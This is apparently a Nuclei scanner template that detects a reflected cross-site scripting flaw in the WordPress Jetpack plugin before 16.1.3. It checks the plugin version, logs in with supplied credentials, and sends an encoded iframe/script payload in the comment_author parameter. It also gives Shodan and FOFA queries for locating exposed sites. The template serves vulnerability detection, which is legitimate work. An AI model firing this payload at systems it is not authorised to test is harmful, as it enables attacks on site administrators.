jetpack-reader-xss: WordPress Jetpack < 16.1.3 - Reflected Cross-Site Scripting

id: jetpack-reader-xss

info:
  name: WordPress Jetpack < 16.1.3 - Reflected Cross-Site Scripting
  author: kosoyyagent,0xr2r
  severity: medium
  description: |
    WordPress Jetpack plugin before 16.1.3 does not sanitize the comment_author parameter before outputting it in the Reader editor, allowing a reflected cross-site scripting attack against an administrator who opens a crafted link.
  reference:
    - https://jetpack.com/resources/jetpack-16-1-3-critical-security-update/
    - https://wordpress.org/plugins/jetpack/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 3
    vendor: automattic
    product: jetpack
    fofa-query: body="/wp-content/plugins/jetpack/"
    shodan-query: http.html:"/wp-content/plugins/jetpack/"
  tags: xss,jetpack,wordpress,wp-plugin,authenticated,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/jetpack/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'Jetpack')
          - compare_versions(version, '<= 16.1.2')
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        internal: true
        regex:
          - 'Stable tag: ([0-9.]+)'

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/post-new.php?url=https%3A%2F%2Fwp.com%2Fsource&comment_content=safe&comment_author=%3Ciframe%20srcdoc%3D%22%3Cscript%3Etop.alert%28top.document.domain%29%3C%2Fscript%3E%22%3Ex%3C%2Fiframe%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "text/html")
          - contains(body, 'top.alert%28top.document.domain%29')
        condition: and
# digest: 490a00463044022071202310ebaf360aa549b3d2537b2a3eed880c3e981dc59b13bb72c6d9d1212402205154555b795d64fe39a657dd62de0c4ab3a2bff62771c4afac3c29c65670a3f0:922c64590222798bb761d5b6d8e72950

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